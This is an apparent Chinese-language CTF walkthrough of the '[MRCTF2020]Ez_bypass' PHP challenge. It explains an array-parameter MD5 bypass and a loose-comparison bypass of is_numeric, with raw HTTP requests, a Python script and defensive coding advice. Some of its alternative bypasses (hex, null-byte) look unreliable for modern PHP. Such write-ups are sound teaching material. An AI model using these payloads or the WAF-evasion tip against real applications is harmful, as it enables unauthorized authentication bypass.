1. 靶场挑战概述
这个CTF靶场题目名为"[MRCTF2020]Ez_bypass",是一个典型的PHP代码审计与安全绕过的挑战。题目通过两个精心设计的验证关卡,考察选手对PHP类型转换机制和函数特性的深入理解。作为网络安全从业者,这类题目能有效锻炼我们的代码审计能力和安全思维。
打开靶场页面后,开发者工具(F12)中给出了重要提示:"I put something in F12 for you",并包含了flag.php的引用。这表明我们需要通过分析前端提示和后端代码逻辑来获取隐藏的flag。
2. 第一关:MD5强类型比较绕过
2.1 代码逻辑分析
第一关的核心验证代码如下:
php复制if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
} else {
echo "You are not a real hacker!";
}
这个条件要求同时满足两个看似矛盾的条件:
md5($id)必须严格等于md5($gg)(使用===强类型比较)$id本身不能等于$gg(使用!==强类型比较)
2.2 PHP的MD5函数特性
关键在于理解PHP中md5()函数对数组参数的处理方式:
- 当
md5()函数的参数是数组时,函数会返回NULL并产生一个警告 - 两个数组的MD5计算结果都是
NULL,因此NULL === NULL成立 - 同时,两个不同的数组(如
[1]和[2])在强类型比较下!==也成立
2.3 构造有效Payload
基于这个特性,我们可以构造以下GET参数:
code复制?id[]=1&gg[]=2
这样:
$id=Array([0]=>1)$gg=Array([0]=>2)md5($id)=NULLmd5($gg)=NULL- 满足
NULL === NULL且Array([0]=>1) !== Array([0]=>2)
注意:在实际渗透测试中,这种数组传参方式也常用于绕过某些WAF的检测规则,因为部分WAF可能不会深入解析数组参数的内容。
3. 第二关:弱类型比较与is_numeric绕过
3.1 代码逻辑分析
通过第一关后,我们需要处理以下验证逻辑:
php复制if (!is_numeric($passwd)) {
if($passwd==1234567) {
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
}
这个验证要求:
passwd不能是数字或数字字符串(!is_numeric($passwd))passwd必须弱等于(==)整数1234567
3.2 PHP弱类型比较机制
PHP的弱类型比较(==)有以下重要特性:
- 当字符串与数字比较时,PHP会尝试将字符串转换为数字
- 转换规则:从字符串开头提取数字部分,直到遇到第一个非数字字符为止
- 如果字符串以数字开头,转换后的值就是这些数字组成的数值
- 如果字符串不以数字开头,转换结果为0
例如:
"123abc" == 123→ true"123" == 123→ true (但会被is_numeric检测到)"123e1" == 1230→ true (科学计数法)"abc123" == 0→ true
3.3 构造有效Payload
我们需要构造一个满足以下条件的passwd值:
- 不是纯数字(绕过is_numeric)
- 弱等于1234567
解决方案:
- 使用
1234567开头,后跟任意非数字字符 - 例如:
1234567a、1234567!、1234567(空格)
POST请求示例:
code复制POST /?id[]=1&gg[]=2 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
passwd=1234567a
3.4 其他可能的绕过方式
除了上述方法,还可以考虑:
- 科学计数法:
1234567e0(但可能被is_numeric识别) - 前导空格:
1234567(取决于PHP版本和配置) - 十六进制:
0x12d687(十六进制表示的1234567) - 字符串截断:
1234567\0(空字符截断)
但在本题环境中,最简单可靠的还是1234567后跟非数字字符的方案。
4. 完整解题流程
4.1 第一步:MD5数组绕过
- 构造GET请求:
code复制GET /?id[]=1&gg[]=2 HTTP/1.1 Host: target.com - 预期响应:
code复制You got the first step
4.2 第二步:弱类型比较绕过
- 在第一步的基础上,添加POST数据:
code复制POST /?id[]=1&gg[]=2 HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 13 passwd=1234567a - 预期响应:
code复制Good Job! <?php $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; ?> By Retr_0
4.3 自动化脚本示例
对于需要多次尝试的场景,可以使用Python脚本自动化:
python复制import requests
url = "http://target.com/"
params = {"id[]": "1", "gg[]": "2"}
data = {"passwd": "1234567a"}
response = requests.post(url, params=params, data=data)
print(response.text)
5. 深入原理与扩展思考
5.1 PHP类型比较表
理解PHP的类型比较对于安全测试至关重要:
| 比较方式 | 说明 | 示例 |
|---|---|---|
== |
弱类型比较,会进行类型转换 | "123" == 123 → true |
=== |
强类型比较,值和类型都必须相同 | "123" === 123 → false |
!= |
弱类型不等于 | "123" != 123 → false |
!== |
强类型不等于 | "123" !== 123 → true |
5.2 安全开发建议
为了防止这类漏洞,开发者应该:
- 始终使用严格比较(
===/!==) - 对用户输入进行严格类型检查和过滤
- 使用
filter_var()或类型转换函数确保预期类型 - 避免混合类型比较
- 对关键操作使用多重验证
5.3 其他类似漏洞场景
- JSON解码:
json_decode()的第二个参数控制是否返回数组 - strcmp绕过:数组参数可能导致返回NULL
- in_array弱类型:第三个参数控制是否严格比较
- switch弱类型:case比较使用
==
6. 常见问题与调试技巧
6.1 为什么我的Payload不工作?
可能原因:
- 服务器配置了魔术引号(已弃用)或其他输入过滤
- PHP版本差异导致类型转换行为变化
- 参数传递方式错误(GET/POST混淆)
- 服务器端有额外的验证逻辑
调试方法:
- 使用
var_dump()输出中间变量值 - 检查PHP错误日志
- 尝试不同的参数格式和编码
6.2 如何防御这类攻击?
防御策略:
- 输入验证:明确预期类型并强制转换
php复制$id = (int)$_GET['id']; - 使用类型安全的比较函数
php复制if (hash_equals(md5($id), md5($gg)) && $id !== $gg) - 禁用危险函数或配置安全模式
- 使用Web应用防火墙(WAF)规则检测异常参数
6.3 实际渗透测试中的应用
在实际渗透测试中,这类技巧可用于:
- 绕过认证逻辑
- 突破参数过滤
- 触发非预期行为
- 探测服务器环境特性
但需要注意:
- 遵守授权范围和法律规范
- 避免对生产环境造成破坏
- 记录完整的测试过程
- 提供明确的修复建议
7. 靶场环境搭建建议
如果想本地复现这个挑战,可以:
- 创建PHP文件(如
index.php)包含题目代码 - 创建
flag.php定义flag变量 - 配置PHP环境(建议5.x和7.x都测试)
- 使用Docker快速搭建:
dockerfile复制FROM php:7.4-apache COPY . /var/www/html/
测试不同PHP版本的差异:
- PHP 5.x: 更宽松的类型转换
- PHP 7.x: 某些类型比较更严格
- PHP 8.x: 更多类型安全改进
8. 总结与经验分享
通过这个靶场挑战,我们深入理解了PHP类型转换机制和安全绕过的核心原理。在实际代码审计中,需要特别注意:
- 所有用户输入都不可信,必须严格验证
- 比较运算符的选择直接影响安全性
- 函数对特殊参数(如数组)的处理可能产生意外行为
- 防御措施应该多层叠加,不依赖单一验证
一个实用的审计流程:
- 定位所有输入点
- 追踪数据流经的所有处理函数
- 分析所有条件判断的逻辑
- 寻找可能的类型混淆点
- 构造边界测试用例验证
最后提醒,这些技术应仅用于合法授权的安全测试和CTF比赛,未经授权的测试可能违反法律。